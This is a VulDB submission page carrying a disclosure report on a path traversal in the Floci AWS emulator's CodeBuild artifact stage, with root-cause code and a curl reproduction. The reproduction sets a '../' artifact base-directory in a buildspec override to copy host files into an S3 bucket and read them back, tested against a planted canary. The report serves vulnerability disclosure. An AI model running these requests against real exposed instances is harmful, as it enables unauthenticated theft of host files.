जमा करें #1035484: floci-io Floci (local AWS emulator) 2.0.1 (the released tag `2.0.1` carries the same `BuildspecParser.parseArtifacts` and `CodeBuildRunner.uploadArtifacts` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head) Path traversal /जानकारी

शीर्षकfloci-io Floci (local AWS emulator) 2.0.1 (the released tag `2.0.1` carries the same `BuildspecParser.parseArtifacts` and `CodeBuildRunner.uploadArtifacts` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head) Path traversal /
विवरणCodeBuild artifact base-directory path traversal in Floci publishes arbitrary host files as S3 artifacts Vendor: floci-io Affected versions: 2.0.1 (the released tag `2.0.1` carries the same `BuildspecParser.parseArtifacts` and `CodeBuildRunner.uploadArtifacts` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head) Vulnerability class: Path traversal / arbitrary host file read and exfiltration (CWE-22) Preconditions: no credentials — request-auth enforcement is opt-in (`floci.protocols.enforce-auth`, default off; README: "Credentials can be any non-empty values unless you explicitly enable stricter service-specific auth checks"), and the emulator's HTTP API listens on `x.x.x.x:4566` by default. Anyone who can reach a running instance is the effective caller; the caller creates the build project and starts the build itself. CodeBuild artifact base-directory path traversal in Floci publishes arbitrary host files as S3 artifacts Data flow: request JSON `buildspecOverride.artifacts.base-directory` → `BuildspecParser` → `CodeBuildRunner.uploadArtifacts` → `workspace.resolve(baseDirectory)` (no containment check) → `Files.walk` / `Files.readAllBytes` → `s3Service.putObject` → `GET /<bucket>/<key>` ### Affected interfaces | Interface | |---| | POST / with `X-Amz-Target: CodeBuild_20161006.StartBuild`, JSON body `buildspecOverride` → buildspec `artifacts.base-directory` (also `artifacts.files`, `packaging`) | | POST / with `X-Amz-Target: CodeBuild_20161006.CreateProject` (attacker-chosen artifact bucket via `artifacts.location`) | | GET /<bucket>?list-type=2 and GET /<bucket>/<prefix>/<key> (read-back of the exfiltrated files over the emulator's own S3 endpoint) | Primary route detail: ``` POST / X-Amz-Target: CodeBuild_20161006.StartBuild {"projectName": "<name>", "buildspecOverride": "<YAML with artifacts.base-directory: ../../..>"} ``` An unauthenticated caller of a running Floci instance can set `artifacts.base-directory` in a caller-supplied buildspec to a `../` path that escapes the per-build workspace; the artifact-collection stage resolves that path against the host filesystem, walks it, uploads every file into the caller-chosen S3 bucket of the emulator, and the caller reads the files back over the emulator's own S3 endpoint. The parameter is meant to name a directory inside the build workspace; nothing in the product promises that a buildspec can point the artifact collector at arbitrary host directories. Build commands themselves execute in an isolated container that has no host filesystem mounted (source is copied in through the Docker API by `copySourceToContainer`), so the emulator does isolate the build from the host — the artifact stage breaks that isolation by resolving the caller's path on the host. ### Root cause 1. Source: `src/main/java/io/github/hectorvent/floci/services/codebuild/CodeBuildJsonHandler.java:199` reads `buildspecOverride` verbatim from the request and forwards it to `CodeBuildService.startBuild` (`:209`). 2. `services/codebuild/BuildspecParser.java:98` accepts `base-directory` verbatim into `ParsedArtifacts.baseDirectory()`. 3. `services/codebuild/CodeBuildRunner.java:327` calls `uploadArtifacts(region, build, project, buildspec.artifacts(), workspace)`. 4. `CodeBuildRunner.java:689-691`: ```java Path baseDir = workspace; if (artifacts.baseDirectory() != null) { baseDir = workspace.resolve(artifacts.baseDirectory()); } ``` `workspace` is the per-build temp directory `Files.createTempDirectory("floci-codebuild-")` (`CodeBuildRunner.java:164`). `resolve()` plus the absence of any `normalize()`/`startsWith(workspace)` containment check lets `../` segments (or an absolute path) point the collector at any host directory. Containment checks of exactly this shape already exist elsewhere in the same file for `extractZip`/`copyArtifactsFromContainer`, so the omission here is a gap, not a design choice. 5. `CodeBuildRunner.java:725-750` (`collectFiles`) walks the escaped directory (`Files.walk(baseDir)` for `**/*`) and `CodeBuildRunner.java:708-717` reads each match with `Files.readAllBytes(file)` and uploads it via `s3Service.putObject(bucket, key, data, contentType, Map.of())`. 6. The caller retrieves the exfiltrated bytes over the emulator's own S3 API. The missing guard is the containment check: the artifact base directory is never canonicalised or compared against the workspace root, so a parameter that is supposed to stay inside the build workspace instead selects arbitrary host paths, and the emulator's unauthenticated HTTP surface (opt-in auth, all-interface bind) makes any network peer the effective caller. Baseline: Floci 2.0.1, commit `a5ab1672f9305299e3b7a32d67ce12b1d89f1199`, self-hosted on the reporter's own host on `x.x.x.x:14590` with persistent storage; a canary file was planted outside the build workspace before the build (`<work>/canary-out/cv3-secret.txt` containing `CV3-CODEBUILD-ARTIFACT-CANARY-cv3cb1789456981`). The value never appears in any request, so returned bytes can only come from the host filesystem. **1. Create the project whose artifacts go to the caller's own bucket** ```sh $ curl -s -X POST http://127.0.0.1:14590/ \ -H 'X-Amz-Target: CodeBuild_20161006.CreateProject' \ -d '{"name":"cv3cb-cv3cb1789457153","serviceRole":"arn:aws:iam::000000000000:role/cv3", "artifacts":{"type":"S3","location":"cv3artifact-cv3cb1789457153/out"}, "environment":{"type":"LINUX_CONTAINER","image":"python:3.12-slim","computeType":"BUILD_GENERAL1_SMALL"}, "source":{"type":"NO_SOURCE"}}' 200 ``` **2. Start a build whose artifact base directory escapes the workspace** ```sh $ curl -s -X POST http://127.0.0.1:14590/ \ -H 'X-Amz-Target: CodeBuild_20161006.StartBuild' \ -d '{"projectName":"cv3cb-cv3cb1789457153","buildspecOverride": "version: 0.2\nphases:\n build:\n commands:\n - echo cv3-build-ok\nartifacts:\n files:\n - '\''**/*'\''\n base-directory: '\''../../../../../../<work>/canary-out'\''\n packaging: NONE\n"}' 200 {"build":{"id":"cv3cb-cv3cb1789457153:2","buildStatus":"IN_PROGRESS",...}} ``` Build `cv3cb-cv3cb1789457153:2` ended `SUCCEEDED` with phases `INSTALL/PRE_BUILD/BUILD/POST_BUILD/UPLOAD_ARTIFACTS/FINALIZING` all `SUCCEEDED` (no "no artifact files matched" warning). **3. Positive artifact — the escaped host file is now an S3 object in the caller's bucket** ```sh $ curl -s 'http://127.0.0.1:14590/cv3artifact-cv3cb1789457153?list-type=2' <Key>out/cv3-secret.txt</Key> $ curl -s 'http://127.0.0.1:14590/cv3artifact-cv3cb1789457153/out/cv3-secret.txt' CV3-CODEBUILD-ARTIFACT-CANARY-cv3cb1789456981 (HTTP 200) ``` The body is byte-identical to the canary planted outside the workspace; the build workspaces (`/tmp/floci-codebuild-*`) are deleted when the build finishes, so the content never existed inside the workspace. **4. Negative control** — the same build with `files: ['**/*']` and no `base-directory` collected nothing outside the workspace: ```sh emulator log: [WARN] CodeBuildRunner - No artifact files matched patterns [**/*] in /tmp/floci-codebuild-11756034906852489183 for build cv3cb-cv3cb1789457153:1 ``` - **Vendor contact**: GitHub Private Vulnerability Reporting - floci-io/floci - **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/floci-io/floci/security/advisories/GHSA-4hjc-ww34-35c4; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
स्रोत⚠️ https://github.com/floci-io/floci
उपयोगकर्ता
 lucasg2g (UID 84737)
सबमिशन15/10/2026 07:31 AM (24 दिन पहले)
संयम08/11/2026 11:53 AM (24 days later)
स्थितिस्वीकृत
VulDB प्रविष्टि432812 [floci-io Floci तक 2.4.0 Artifact CodeBuildJsonHandler.java BuildspecParser.parseArtifacts buildspecOverride.artifacts.base-directory निर्देशिका ट्रैवर्सल]
अंक20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!